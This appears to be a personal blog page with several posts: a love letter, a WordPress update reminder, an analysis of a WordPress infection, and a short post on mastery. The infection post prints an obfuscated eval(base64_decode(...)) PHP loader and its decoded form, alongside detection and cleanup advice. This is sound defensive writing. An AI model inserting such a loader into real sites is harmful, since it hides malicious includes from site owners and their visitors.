To My Loving Wife Sarah

2010 was a pretty great year, wasn’t it?

There’s no denying that the hectic rush building up to our beautiful wedding was a bit maddening for the both of us.  And I can still be a pretty hard person to get along with sometimes. But looking back on everything that’s happened, I’m happy we got to go thru every last bit of it side by side.

I mean, we finally moved in together and got married. Short of having kids and buying a house, we did some of the most adult things a couple can possibly do. And now that we’re right on the cusp of 2011, I can’t wait to see what the new year brings.

Sweetheart, I love you so much. And I can’t believe that someone so beautiful would even give a schlub like me a second glance. Every day I wake up and I’m happy that I get to have an adventure thru the rest of my life with you. You’re like Short Round to my Indiana Jones*.

Except, you know, you and I get to have sex… ;)

Anyhow, here’s to making our own path. And to making this next year better than every previous one that came before it.

Sarah Cosper, you are my heart.

Love,
Jason

* Let’s be honest, I’m probably the one who’s Short Round in this relationship…

Friendly WordPress Upgrade Reminders

If you weren’t already aware, the gang at WordPress just shipped a pretty critical security update. In fact, it’s kind of a big deal. So much so that I went around and patched all my sites the second their update on the matter hit my phone.

Since I’ve put a lot of energy into helping folks recover their hacked sites as of late, I figured I’d draw up a quick Twitter PSA for a few of my friends who make a living thru their WP sites:

You *really* need to upgrade the copy of WordPress on your blog when you get a chance. Go to “Dashboard > Updates” in wp-admin to run one.

After sending that out as a direct message a handful of times, I figured that some of the other nerds out there might appreciate having that too. So here it is — free to use it as you see fit!

P.S. Should you not know how to check the version number on a friend’s WordPress site you can normally locate it using one of two methods:

  1. Use view source in your browser and then do a find for “generator”. That should show you the meta tag that WordPress inserts into the page for usage metrics and such.
  2. Add “readme.html” to the end of the blog URL. This doesn’t always work, but most folks leave the WordPress ReadMe file (which contains WP’s version number) in place.

WordPress, style.css.php and You

I’ve been seeing this code crop up a lot in some of the recent WordPress hacks that I’ve had to diagnose:

< ?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL3VzZXIvZG9tYWluLmNvbS93cC1pbmNsdWRlcy9qcy90aW55bWNlL3RoZW1lcy9hZHZhbmNlZC9za2lucy93cF90aGVtZS9pbWcvc3R5bGUuY3NzLnBocCc7aWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ21mc24nXSkpe2luY2x1ZGVfb25jZSgkR0xPQkFMU1snbWZzbiddKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiZmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe29iX3N0YXJ0KCdkZ29iaCcpO319fQ==')); ?>

Most folks with this issue have a problem with “wp-login.php” returning a blank page for users trying to get into “wp-admin” — so if you’re seeing that, it may be a good sign that this is to blame.

Running that bit of nastiness above thru a base64 decoder gets us this:

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/home/user/domain.com/wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/style.css.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}}

Hrm. Let’s go ahead and have a look at “wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/”…

-rw-r--r-- 2 user group 13789 2010-08-10 06:20 bi
-rw-r--r-- 1 user group 212 2008-10-28 03:59 butt2.png
-rw-r--r-- 1 user group 5859 2008-01-31 10:10 button_bg.png
-rw-r--r-- 2 user group 880 2010-12-26 02:32 cnf
-rw-r--r-- 2 user group 50 2010-12-24 03:38 csi
-rw-r--r-- 1 user group 60 2008-01-31 10:10 down_arrow.gif
-rw-r--r-- 1 user group 785 2008-01-31 10:10 fade-butt.png
-rw-r--r-- 2 user group 1223 2010-07-29 20:55 ggl
-rw-r--r-- 2 user group 68 2010-04-07 22:44 kwd
-rw-r--r-- 2 user group 23813 2010-12-26 02:32 lb
-rw-r--r-- 2 user group 0 2010-04-07 07:35 lock
-rw-r--r-- 2 user group 225 2010-12-24 03:38 rlf
-rw-r--r-- 2 user group 62159 2010-03-29 19:23 s.php
-rw-r--r-- 1 user group 57 2008-01-31 10:10 separator.gif
-rw-r--r-- 2 user group 89338 2010-03-30 02:09 skwd
-rw-r--r-- 2 user group 254760 2010-12-23 03:06 style.css.php
-rw-r--r-- 2 user group 402 2010-03-30 02:09 swf
-rw-r--r-- 1 user group 1326 2008-02-21 13:40 tabs.gif

Wait a minute. That directory in a fresh install looks like…

-rw-r--r-- 1 user group 212 2010-12-08 12:59 butt2.png
-rw-r--r-- 1 user group 5859 2010-12-08 12:59 button_bg.png
-rw-r--r-- 1 user group 60 2010-12-08 12:59 down_arrow.gif
-rw-r--r-- 1 user group 785 2010-12-08 12:59 fade-butt.png
-rw-r--r-- 1 user group 57 2010-12-08 12:59 separator.gif
-rw-r--r-- 1 user group 1326 2010-12-08 12:59 tabs.gif

So “style.css.php” shouldn’t even exist at that location.  In fact, its existence is a solid indicator that your site has been flat out pwn3d.

If you have access to a BSD or Linux shell and do a recursive grep for the first 10 characters piped to a line count at the root of your WordPress install, you’ll get a pretty solid idea of how many files the hackers have managed to infect.

grep -R aWYoZnVuY3 * |wc -l

Just to give you a baseline measurement, I’ve personally seen this code crop up in anywhere from 300 to 1100 files. It really tries its best to be impossible get rid of. Simply unpacking a fresh copy of WordPress over the top of the hacked site won’t work. This nasty piece of work gets into your themes, plugins and even your cached pages.

So what do we do to fix it? I’m glad you asked.

  1. Make a backup copy of your current WordPress install. This means on your local computer or in a non-web accessible directory on your host.
  2. Remove the exec statement from the top of the infected “wp-config.php” file.
  3. Clear out your site’s directory. LEAVE. NOTHING. BEHIND.
  4. Install a fresh copy of WordPress into the now clean directory.
  5. Drop the tidied up copy of “wp-config.php” into the new install’s root directory.
  6. Restore your uploads directory (if you actually use it, that is).
  7. Install fresh copies of any WordPress themes and plugins you might need. DO NOT COPY OVER ANY PLUGINS OR THEMES FROM THE INFECTED INSTALL!
  8. Since the hacker had enough access to your site to insert their crap, assume that they now have your password info. Change the passwords for your MySQL and WordPress admin users as soon as you can. If you need help with that, the support staff at your host should be able to sort you out.

Now you’re back to (mostly) normal. You may have to make some customizations to your theme here and there — but having to do that is way better than letting your site stay hacked.

Oh, and just to be safe, consider installing Exploit Scanner in your copy of WordPress and running it against your database.  The last thing I’d want is for you to spend all that time cleaning up your site just to have it pwn3d a second time.

Good luck!

P.S. If you do manage to spot something in that scan, let me know! I haven’t had to do a clean-up on one of the installs that I maintain just yet, so any extra info y’all can hook me up with would be helpful for everyone out there affected by this.

Update: I just got to do a cleanup of a friend’s site who was unfortunate enough to get hit. It looks like the database on their site isn’t hiding anything nasty. Still, it’s a wise idea to run Exploit Scanner just to make sure there aren’t any variants of the attack that do write to the database.

The 30 Steps To Mastery

Dear Ben Casnocha,

You totally fucking nailed it, dude.

1. Start
2. Keep going.
3. You think you’re starting to get the hang of it.
4. You see someone else’s work and feel undeniable misery.
5. Keep going.
6. Keep going.
7. You feel like maybe, possibly, you kinda got it now.
8. You don’t.
9. Keep going.

Read the remainder here.